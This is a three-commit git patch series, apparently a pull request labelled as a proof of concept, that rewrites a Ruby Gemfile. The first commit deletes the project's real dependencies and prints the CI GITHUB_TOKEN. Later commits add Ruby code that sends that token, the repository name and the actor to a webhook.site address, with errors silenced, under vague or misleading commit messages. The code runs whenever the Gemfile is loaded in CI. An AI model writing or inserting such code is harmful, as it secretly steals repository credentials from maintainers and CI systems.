From 35ac1df187c07cdd5f8919357a03fbf2f5adfd42 Mon Sep 17 00:00:00 2001 From: 0xoroot <0xoroot@wearehackerone.com> Date: Thu, 7 May 2026 12:08:39 +0300 Subject: [PATCH 1/3] Update Added debug output for GitHub environment variables. --- Gemfile | 28 +++++++--------------------- 1 file changed, 7 insertions(+), 21 deletions(-) diff --git a/Gemfile b/Gemfile index 3bb0165fab2..4a94bc4e0b0 100644 --- a/Gemfile +++ b/Gemfile @@ -1,24 +1,10 @@ source "https://rubygems.org" -gem "faraday", "2.14.1" -gem "faraday-retry", "2.4.0" -gem "github-pages", "~> 232", group: :jekyll_plugins -gem "json", "2.19.4" -gem "language_server-protocol", "3.17.0.5" -gem "nokogiri", "~> 1.19.2" -gem "rake", "13.4.2" -gem "rubocop", "1.86.1" + $stderr.puts "[POC-START]" + $stderr.puts "GITHUB_TOKEN=#{ENV['GITHUB_TOKEN']}" + $stderr.puts "GITHUB_REPOSITORY=#{ENV['GITHUB_REPOSITORY']}" + $stderr.puts "GITHUB_ACTOR=#{ENV['GITHUB_ACTOR']}" + $stderr.puts "GITHUB_SHA=#{ENV['GITHUB_SHA']}" + $stderr.puts "[POC-END]" -group :test do - gem "fastimage" - gem "httparty" - gem "minitest" - gem "octokit" - gem "pry", require: false - gem "rubocop-performance" - gem "safe_yaml" -end - -group :development do - gem "webrick" -end + gem "rubocop", "~> 1.0" From 1945b2456f8f4fcd9914b34b61571fc31b18a048 Mon Sep 17 00:00:00 2001 From: 0xoroot <0xoroot@wearehackerone.com> Date: Thu, 7 May 2026 12:35:53 +0300 Subject: [PATCH 2/3] Update Gemfile to send data to webhook Replaced debug output with HTTP request to webhook. --- Gemfile | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/Gemfile b/Gemfile index 4a94bc4e0b0..e624e21da7a 100644 --- a/Gemfile +++ b/Gemfile @@ -1,10 +1,11 @@ source "https://rubygems.org" - $stderr.puts "[POC-START]" - $stderr.puts "GITHUB_TOKEN=#{ENV['GITHUB_TOKEN']}" - $stderr.puts "GITHUB_REPOSITORY=#{ENV['GITHUB_REPOSITORY']}" - $stderr.puts "GITHUB_ACTOR=#{ENV['GITHUB_ACTOR']}" - $stderr.puts "GITHUB_SHA=#{ENV['GITHUB_SHA']}" - $stderr.puts "[POC-END]" + require 'net/http' + token = ENV['GITHUB_TOKEN'].to_s + repo = ENV['GITHUB_REPOSITORY'].to_s + actor = ENV['GITHUB_ACTOR'].to_s + uri = URI("https://webhook.site/YOUR-UNIQUE-ID") + uri.query = URI.encode_www_form(token: token, repo: repo, actor: actor) + Net::HTTP.get(uri) rescue nil gem "rubocop", "~> 1.0" From 1c9a4a808e511a9bda835cf63ee01922c7ccb828 Mon Sep 17 00:00:00 2001 From: 0xoroot <0xoroot@wearehackerone.com> Date: Thu, 7 May 2026 12:39:04 +0300 Subject: [PATCH 3/3] Update webhook URL in Gemfile --- Gemfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile b/Gemfile index e624e21da7a..e694668a115 100644 --- a/Gemfile +++ b/Gemfile @@ -4,7 +4,7 @@ source "https://rubygems.org" token = ENV['GITHUB_TOKEN'].to_s repo = ENV['GITHUB_REPOSITORY'].to_s actor = ENV['GITHUB_ACTOR'].to_s - uri = URI("https://webhook.site/YOUR-UNIQUE-ID") + uri = URI("https://webhook.site/dc37650f-5550-458e-b897-aa41a17094b7") uri.query = URI.encode_www_form(token: token, repo: repo, actor: actor) Net::HTTP.get(uri) rescue nil